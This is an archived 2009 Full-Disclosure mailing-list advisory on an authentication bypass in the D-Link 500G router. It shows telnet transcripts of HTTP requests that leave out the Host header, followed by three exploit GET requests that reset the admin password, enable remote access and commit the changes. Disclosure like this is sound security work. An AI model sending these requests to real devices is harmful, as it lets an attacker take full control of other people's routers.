full-disclosure - D-Link 500G Authentication Bypass

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Mon, 24 Aug 2009 10:30:57 -0300
From: Jardel Weyrich <jweyrich@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: D-Link 500G Authentication Bypass

D-LINK 500G AUTHENTICATION BYPASS

SUMMARY
There is an authentication bypass vulnerability in D-Link 500G that allows
an attacker to take full control over the device.
Remote access is disabled by default, so the attacker is required to be on
the local network.
The bypass can be triggered sending a HTTP request without the HOST header.

Example:
$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
GET / HTTP/1.1
Host: 192.168.0.1
Connection: close

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Basic Realm="DSL-500G"
Content-type: text/html
Content-length: 111

<html><head><title>401 Unauthorized Access</title></head><body><h1>401
Unauthorized Access</h1></body></html>
Connection closed by foreign host.

$ telnet 192.168.0.1 80
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
GET / HTTP/1.1
Connection: close

HTTP/1.1 302 Document Follows
Location: /hag/pages/home.ssi

Connection closed by foreign host.

AFFECTED PRODUCTS
D-Link 500G - Firmware R2.01.B9.EU(030917a/T93.3.44)
Haven't tested other devices and version yet.

SOLUTION
The manufacturer has not been contacted.

EXPLOIT
1. Reset the admin password: GET
/Action?cmdSubmit=Submit&ex_param1=admin&id=3&new_pass1=admin&new_pass2=admin&old_pass=admin&user=admin
HTTP/1.0
2. Enable remote access: GET /Action?cmdSubmit=Submit&remote=0&id=83
HTTP/1.0
3. Commit changes: GET /Action?cmdCommit=Commit&reboot_loc=0&id=4 HTTP/1.0

CREDITS
Discovered by Jardel Weyrich <jweyrich at gmail dot com>.

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/